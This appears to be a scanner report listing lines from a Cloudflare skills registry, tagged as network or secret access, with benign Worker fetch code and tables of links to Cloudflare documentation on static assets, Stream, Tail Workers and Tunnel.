if (new URL(request.url).pathname.startsWith('/api/')) { return env.BACKEND.fetch(request); // Forward to backend } - Network accessline 33
return env.BACKEND.fetch(request); // Forward to backend - Network accessline 44
export default { async fetch(request: Request, env: BackendEnv): Promise<Response> { - Network accessline 45
async fetch(request: Request, env: BackendEnv): Promise<Response> { - Network accessline 65
// ✅ Fetch - Smart Placement WORKS export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 66
export default { async fetch(request: Request, env: Env): Promise<Response> { // Runs close to DATABASE when Smart Placement enabled - Network accessline 67
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 78
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 79
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 80
const apiUrl = 'https://api.partner.com'; - Access to secretsline 81
[Credential-related source omitted] - Network accessline 83
const [profile, transactions] = await Promise.all([ fetch(`${apiUrl}/profile`, { headers }), - Network accessline 84
fetch(`${apiUrl}/profile`, { headers }), - Network accessline 85
fetch(`${apiUrl}/transactions`, { headers }) - Network accessline 99
// Frontend (edge) - auth/routing close to user export default { async fetch(request: Request, env: Env) { - Network accessline 100
export default { async fetch(request: Request, env: Env) { if (!request.headers.get('Authorization')) { - Network accessline 101
async fetch(request: Request, env: Env) { - Network accessline 103
return new Response('Unauthorized', { status: 401 }); } const data = await env.BACKEND.fetch(request); - Network accessline 104
} const data = await env.BACKEND.fetch(request); return new Response(renderPage(await data.json()), { - Network accessline 105
const data = await env.BACKEND.fetch(request); - Network accessline 112
// Backend (Smart Placement) - DB operations close to data export default { async fetch(request: Request, env: Env) { - Network accessline 113
export default { async fetch(request: Request, env: Env) { const data = await env.DATABASE.prepare('SELECT * FROM pages WHERE id = ?').bind(pageId).first(); - Network accessline 114
async fetch(request: Request, env: Env) { - Network accessline 130
// Worker with Smart Placement - aggregates data from multiple DOs export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 131
export default { async fetch(request: Request, env: Env): Promise<Response> { const userId = new URL(request.url).searchParams.get('user'); - Network accessline 132
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 140
// Fetch from multiple DOs const [userData, analyticsData] = await Promise.all([ userDO.fetch(new Request('https://do/profile')), - Network accessline 141
const [userData, analyticsData] = await Promise.all([ userDO.fetch(new Request('https://do/profile')), analyticsDO.fetch(new Request('https://do/stats')) - Network accessline 142
userDO.fetch(new Request('https://do/profile')), - Network accessline 143
analyticsDO.fetch(new Request('https://do/stats'))
packages/autoskills/skills-registry/cloudflare/references/static-assets/README.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) | - Network accessline 6
|------|---------------| | Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) | | Choose configuration and an optional asset binding | [Configuration - Network accessline 7
| Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) | - Network accessline 8
| Choose configuration and an optional asset binding | [Configuration and bindings](https://developers.cloudflare.com/workers/static-assets/binding/index.md) | - Network accessline 9
| Serve a client-rendered application | [SPA routing](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md) | - Network accessline 10
| Serve generated HTML and custom error pages | [SSG routing](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md) | - Network accessline 11
| Use a full-stack framework | [Full-stack application guides](https://developers.cloudflare.com/workers/static-assets/routing/full-stack-application/index.md) | - Network accessline 12
| Evaluate moving an existing Pages project | [Pages migration guide](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |
packages/autoskills/skills-registry/cloudflare/references/static-assets/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) | - Network accessline 6
|------|---------------| | Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) | | Understand how binding requests apply HTML - Network accessline 7
| Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) | - Network accessline 8
| Understand how binding requests apply HTML and fallback settings | [Binding fetch behavior](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) and [HTML handling](https://developers.cloudflare. - Network accessline 9
| Run authorization or transform content before serving | [Run your Worker script first](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) | - Network accessline 10
| Inspect default MIME, cache, and validation headers | [Default headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md#default-headers) | | Add or override response headers | [Custom headers and Worker-response c - Network accessline 11
| Add or override response headers | [Custom headers and Worker-response caveat](https://developers.cloudflare.com/workers/static-assets/headers/index.md#custom-headers) | - Network accessline 12
| Fetch assets imported by Vite | [Vite asset features](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md#features) |
packages/autoskills/skills-registry/cloudflare/references/static-assets/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://develop - Network accessline 6
|------|---------------| | Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://developers.cloudflare.com/worker - Network accessline 7
| Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://developers.cloudflare.com/workers/static-assets/binding/i - Network accessline 8
| Make assets available to Worker code | [Asset binding configuration](https://developers.cloudflare.com/workers/static-assets/binding/index.md#binding) | - Network accessline 9
| Select paths that must run Worker logic before asset serving | [Worker-first configuration](https://developers.cloudflare.com/workers/static-assets/binding/index.md#run_worker_first) | - Network accessline 10
| Configure SPA fallback and navigation behavior | [SPA configuration](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#configuration) | - Network accessline 11
| Configure generated HTML and missing-page responses | [SSG configuration](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md#configuration) | - Network accessline 12
| Choose canonical HTML URLs and trailing slash handling | [HTML handling modes](https://developers.cloudflare.com/workers/static-assets/routing/advanced/html-handling/index.md) | - Network accessline 13
| Configure assets produced by the Cloudflare Vite plugin | [Vite asset configuration](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md#configuration) | - Network accessline 14
| Configure static response headers or redirects | [Headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md) and [redirects](https://developers.cloudflare.com/workers/static-assets/redirects/index.md) |
packages/autoskills/skills-registry/cloudflare/references/static-assets/gotchas.md
- Network accessline 5
| Symptom or decision | Documentation | |---------------------|---------------| | Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore - Network accessline 6
|---------------------|---------------| | Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore rules](https://developers.cloudflare.co - Network accessline 7
| Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore rules](https://developers.cloudflare.com/workers/static-assets/binding/index.md - Network accessline 8
| Worker is bypassed for an asset or protected path | [Worker-first routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) | | Browser navigation returns HTML for an API - Network accessline 9
| Browser navigation returns HTML for an API path | [SPA navigation requests](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#navigation-requests) and [advanced routing](https://developers.cl - Network accessline 10
| Unexpected redirects or trailing slashes | [HTML handling](https://developers.cloudflare.com/workers/static-assets/routing/advanced/html-handling/index.md) | - Network accessline 11
| A missing route serves the wrong fallback | [SPA routing](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md) or [SSG custom 404 pages](https://developers.cloudflare.com/workers/static-assets/ - Network accessline 12
| Cache behavior or custom headers differ from expectations | [Default and custom headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md) | | Vite development and deployment behave differently | [Vite asset config - Network accessline 13
| Vite development and deployment behave differently | [Vite asset configuration and output](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md) | | Worker-first requests return 429 or affect cost | [Bill - Network accessline 14
| Worker-first requests return 429 or affect cost | [Billing and limitations](https://developers.cloudflare.com/workers/static-assets/billing-and-limitations/index.md) | - Network accessline 15
| Asset count or file size exceeds deployment limits | [Static asset platform limits](https://developers.cloudflare.com/workers/platform/limits/index.md#static-assets) | - Network accessline 16
| Placement adds latency to asset requests | [Worker routing and placement caveat](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) |
packages/autoskills/skills-registry/cloudflare/references/static-assets/patterns.md
- Network accessline 5
| Routing need | Documentation | |--------------|---------------| | Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) | - Network accessline 6
|--------------|---------------| | Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) | | Combine a SPA with API routes | [A - Network accessline 7
| Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) | - Network accessline 8
| Combine a SPA with API routes | [Advanced SPA routing control](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#advanced-routing-control) | - Network accessline 9
| Require authentication or transform assets before serving | [Run Worker before each request](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-worker-before-each-request) | - Network accessline 10
| Route an OAuth callback or selected dynamic paths to the Worker | [Run Worker first for selective paths](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-worker-first-for-selective-paths) | - Network accessline 11
| Select assets for locale or experiment variants | [Asset binding API](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) and [Worker-first routing](https://developers.cloudflare.com/workers/sta - Network accessline 12
| Serve generated HTML with a custom 404 | [Custom 404 pages](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md#custom-404-pages) | - Network accessline 13
| Apply static cache/security headers or redirects | [Custom headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md#custom-headers) and [redirects](https://developers.cloudflare.com/workers/static-assets/redirects
packages/autoskills/skills-registry/cloudflare/references/stream/README.md
- Network accessline 7
| Task | Read | |---|---| | Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 8
|---|---| | Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Choose server upload, resumable upload, or import from a UR - Network accessline 9
| Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 10
| Choose server upload, resumable upload, or import from a URL | [Upload methods and supported formats](https://developers.cloudflare.com/stream/uploading-videos/index.md) | - Network accessline 11
| Embed playback or integrate an existing player | [Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) or [HLS/DASH players](https://developers.cloudflare.com/stream/viewing-videos/using - Network accessline 12
| Restrict viewing to authorized users or embedding origins | [Secure your Stream](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) | - Network accessline 14
| Check usage, costs, or upload constraints | [Analytics](https://developers.cloudflare.com/stream/getting-analytics/index.md), [pricing](https://developers.cloudflare.com/stream/pricing/index.md), and [upload requirements](https://develope
packages/autoskills/skills-registry/cloudflare/references/stream/api-live.md
- Network accessline 5
| Task | Read | |---|---| | Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) | - Network accessline 6
|---|---| | Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) | | Update inputs, recording, retention, or stream keys | [Manage live inp - Network accessline 7
| Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) | - Network accessline 8
| Update inputs, recording, retention, or stream keys | [Manage live inputs](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md#manage-live-inputs) | - Network accessline 9
| Choose persistent-channel playback versus a particular video | [View by live input ID or video ID](https://developers.cloudflare.com/stream/stream-live/watch-live-stream/index.md#view-by-live-input-id-or-video-id) | - Network accessline 10
| Find and replay recorded broadcasts | [Replay recordings](https://developers.cloudflare.com/stream/stream-live/replay-recordings/index.md) | - Network accessline 11
| Forward broadcasts to external platforms | [Simulcasting configuration and limits](https://developers.cloudflare.com/stream/stream-live/simulcasting/index.md) | - Network accessline 12
| Receive connection and disconnection notifications | [Live webhooks](https://developers.cloudflare.com/stream/stream-live/webhooks/index.md) | - Network accessline 13
| Publish and play using WHIP/WHEP | [WebRTC requirements and endpoints](https://developers.cloudflare.com/stream/webrtc-beta/index.md) and [browser integration](https://developers.cloudflare.com/stream/examples/browser-based-webrtc/index.m - Network accessline 14
| Diagnose encoder, buffering, or latency problems | [Live troubleshooting](https://developers.cloudflare.com/stream/stream-live/troubleshooting/index.md) | - Network accessline 16
Keep publishing credentials separate from viewer playback data. Decide whether the application stores a reusable live input, individual recording IDs, or both. Route recording processing events through [video webhooks](https://developers.cl
packages/autoskills/skills-registry/cloudflare/references/stream/api.md
- Network accessline 5
| Task | Read | |---|---| | Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 6
|---|---| | Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Resume uploads or handle unreliable connections | [Resumable up - Network accessline 7
| Issue a one-time upload URL to an end user | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 8
| Resume uploads or handle unreliable connections | [Resumable uploads and requirements](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md) | - Network accessline 9
| Import a video already hosted elsewhere | [Upload via link](https://developers.cloudflare.com/stream/uploading-videos/upload-via-link/index.md) | - Network accessline 10
| Embed an iframe or React player | [Use the Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) | - Network accessline 11
| Use HLS/DASH with an existing player | [Use your own player](https://developers.cloudflare.com/stream/viewing-videos/using-own-player/index.md) | | Issue playback tokens | [Signed URLs and token-generation choices](https://developers.clou - Network accessline 12
| Issue playback tokens | [Signed URLs and token-generation choices](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#three-ways-to-generate-signed-tokens) | | Generate previews or downloadable files | [ - Network accessline 13
| Generate previews or downloadable files | [Thumbnails](https://developers.cloudflare.com/stream/viewing-videos/displaying-thumbnails/index.md) and [downloads](https://developers.cloudflare.com/stream/viewing-videos/download-videos/index.m - Network accessline 14
| Upload captions or generate them with Stream | [Add captions](https://developers.cloudflare.com/stream/edit-videos/adding-captions/index.md) | - Network accessline 15
| Apply branding during upload | [Watermarks](https://developers.cloudflare.com/stream/edit-videos/applying-watermarks/index.md) | - Network accessline 16
| Trim an on-demand video | [Video clipping](https://developers.cloudflare.com/stream/edit-videos/video-clipping/index.md) | - Network accessline 17
| List and filter videos through the REST API | [List videos](https://developers.cloudflare.com/api/resources/stream/methods/list/index.md) | - Network accessline 18
| Manage videos from a Worker | [Stream binding methods](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#methods) | - Network accessline 19
| React to encoding success or failure | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) |
packages/autoskills/skills-registry/cloudflare/references/stream/configuration.md
- Network accessline 5
| Task | Read | |---|---| | Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) | - Network accessline 6
|---|---| | Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) | | Set creator upload constraints and metadata | [Direct creator u - Network accessline 7
| Configure Stream in a Worker and use its binding | [Stream binding setup](https://developers.cloudflare.com/stream/manage-video-library/bindings/index.md#setup) | - Network accessline 8
| Set creator upload constraints and metadata | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 9
| Choose a token endpoint, Worker binding, or signing key | [Token-generation choices](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#three-ways-to-generate-signed-tokens) | - Network accessline 10
| Require private playback or apply token restrictions | [Secure your Stream](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) | - Network accessline 11
| Restrict embedding origins | [Allowed origins](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md#allowed-origins) | - Network accessline 12
| Configure processing notifications and their secret | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) | - Network accessline 13
| Configure live recording or external destinations | [Live inputs](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) and [simulcasting](https://developers.cloudflare.com/stream/stream-live/simulcasting/index. - Network accessline 14
| Choose player configuration or framework integration | [Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) |
packages/autoskills/skills-registry/cloudflare/references/stream/gotchas.md
- Network accessline 5
| Symptom or check | Read | |---|---| | Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) | - Network accessline 6
|---|---| | Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) | | Large upload fails or restarts after interruption | [Resumable u - Network accessline 7
| Unsupported file or upload constraint failure | [Supported formats and upload requirements](https://developers.cloudflare.com/stream/uploading-videos/index.md) | | Large upload fails or restarts after interruption | [Resumable upload requ - Network accessline 8
| Large upload fails or restarts after interruption | [Resumable upload requirements](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md#requirements) | | Stream cannot fetch an imported video | [Upload via - Network accessline 9
| Stream cannot fetch an imported video | [Upload via link requirements](https://developers.cloudflare.com/stream/uploading-videos/upload-via-link/index.md) | - Network accessline 10
| Upload finished but video is not playable | [Upload progress tracking](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md#track-upload-progress) and [processing error codes](https://developers.cloudf - Network accessline 11
| Private playback or embedding fails | [Signed tokens, restrictions, and allowed origins](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) | - Network accessline 12
| Webhook signature verification fails | [Verify the raw body and signature](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md#verify-webhook-authenticity) | - Network accessline 13
| A custom HLS/DASH player behaves incorrectly | [Own-player integration and manifest handling](https://developers.cloudflare.com/stream/viewing-videos/using-own-player/index.md) | - Network accessline 14
| Live stream will not connect or playback buffers | [Live troubleshooting](https://developers.cloudflare.com/stream/stream-live/troubleshooting/index.md) | - Network accessline 15
| Simulcast output does not behave as expected | [Output configuration and limits](https://developers.cloudflare.com/stream/stream-live/simulcasting/index.md) | - Network accessline 16
| Estimate storage or delivery costs | [Stream pricing](https://developers.cloudflare.com/stream/pricing/index.md) |
packages/autoskills/skills-registry/cloudflare/references/stream/patterns.md
- Network accessline 5
| Workflow | Read | |---|---| | Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 6
|---|---| | Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Large or interruption-prone uploads | [Resumable uploads](http - Network accessline 7
| Browser uploads through a server-issued URL | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | - Network accessline 8
| Large or interruption-prone uploads | [Resumable uploads](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/index.md) | - Network accessline 9
| Update application state when processing completes | [Video webhooks](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md) and [upload progress tracking](https://developers.cloudflare.com/stream/uploading - Network accessline 10
| Verify an incoming processing notification | [Webhook authenticity](https://developers.cloudflare.com/stream/manage-video-library/using-webhooks/index.md#verify-webhook-authenticity) | - Network accessline 11
| Embed playback in a React application | [Stream Player and framework integrations](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) | - Network accessline 12
| Serve private videos | [Signed playback and signing examples](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) | - Network accessline 13
| Broadcast from a browser | [Browser-based WebRTC](https://developers.cloudflare.com/stream/examples/browser-based-webrtc/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tail-workers/README.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 6
| --- | --- | | Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | | Export logs and traces to an observability destination | [OpenTelemetry expo - Network accessline 7
| Decide whether custom processing is needed | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 8
| Export logs and traces to an observability destination | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | - Network accessline 9
| Inspect a deployment interactively | [Real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) | - Network accessline 10
| Implement the consumer | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tail-workers/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) | - Network accessline 6
| --- | --- | | Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) | | Interpret execution outcomes, logs, exceptions, a - Network accessline 7
| Implement the handler and understand asynchronous processing | [Tail handler syntax](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#syntax) | - Network accessline 8
| Interpret execution outcomes, logs, exceptions, and timestamps | [Tail handler event reference](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) | - Network accessline 9
| Inspect request fields and redaction behavior | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) | - Network accessline 10
| Interpret events from dynamic dispatch and user Workers | [Handler parameters](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#parameters) | - Network accessline 11
| Write aggregated metrics | [Analytics Engine from Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#use-analytics-engine-for-aggregated-metrics) |
packages/autoskills/skills-registry/cloudflare/references/tail-workers/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | - Network accessline 6
| --- | --- | | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | | Configure environments and resource bindings | [Wr - Network accessline 7
| Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | - Network accessline 8
| Configure environments and resource bindings | [Wrangler configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md) | - Network accessline 9
| Configure destination credentials | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) | - Network accessline 10
| Use built-in telemetry destinations instead | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | - Network accessline 11
| Check availability and billing model | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 12
| Check runtime capacity | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) | - Network accessline 13
| Check the handler required by the consumer | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tail-workers/gotchas.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | - Network accessline 6
| --- | --- | | Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | | Async processing or event interpre - Network accessline 7
| Consumer receives no events or producer setup fails | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#configure-tail-workers) | - Network accessline 8
| Async processing or event interpretation is incorrect | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) | - Network accessline 9
| Filters confuse HTTP responses with execution failures | [TailItems](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailitems) | - Network accessline 10
| Request data is missing or unexpectedly retained | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) | - Network accessline 11
| Inspect producer and consumer execution | [Real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) | - Network accessline 12
| Reconsider a custom exporter at higher volume | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tail-workers/patterns.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | - Network accessline 6
| --- | --- | | Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | | Process and forward custom execution events | [Tail Workers](ht - Network accessline 7
| Export supported telemetry without a custom consumer | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) | - Network accessline 8
| Process and forward custom execution events | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) | - Network accessline 9
| Aggregate metrics rather than retain individual events | [Analytics Engine from Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md#use-analytics-engine-for-aggregated-metrics) | - Network accessline 10
| Choose filters based on execution and request fields | [Tail handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) | - Network accessline 11
| Review sensitive request data handling | [TailRequest](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md#tailrequest) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/README.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 6
| --- | --- | | Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Maintain a tunnel managed through local files | [Create a locally-managed tunnel - Network accessline 7
| Create a remotely-managed tunnel or a temporary development tunnel | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 8
| Maintain a tunnel managed through local files | [Create a locally-managed tunnel](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/create-local-tunnel/index.md) | - Network accessline 9
| Publish an application and check protocol requirements | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) | - Network accessline 10
| Choose private networking, Workers VPC, or Access integration | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 6
| --- | --- | | Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | List existing tunnels and inspect response fields | [List Cloudflare - Network accessline 7
| Create a tunnel, configure ingress, and create application DNS through the API | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 8
| List existing tunnels and inspect response fields | [List Cloudflare Tunnels API](https://developers.cloudflare.com/api/resources/zero_trust/subresources/tunnels/subresources/cloudflared/methods/list/index.md) | - Network accessline 9
| Retrieve and rotate tunnel tokens | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) | - Network accessline 10
| Manage local tunnels using the CLI | [Useful commands](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/tunnel-useful-commands/index.md) | - Network accessline 11
| Configure public DNS and routing behavior | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) | - Network accessline 12
| Select private-network integration and its setup guide | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 6
| --- | --- | | Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Edit local ingress rules, service mappings, and validate matching | [Configuration file](https://developers.clou - Network accessline 7
| Configure remotely-managed tunnels | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 8
| Edit local ingress rules, service mappings, and validate matching | [Configuration file](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/configuration-file/index.md) | - Network accessline 9
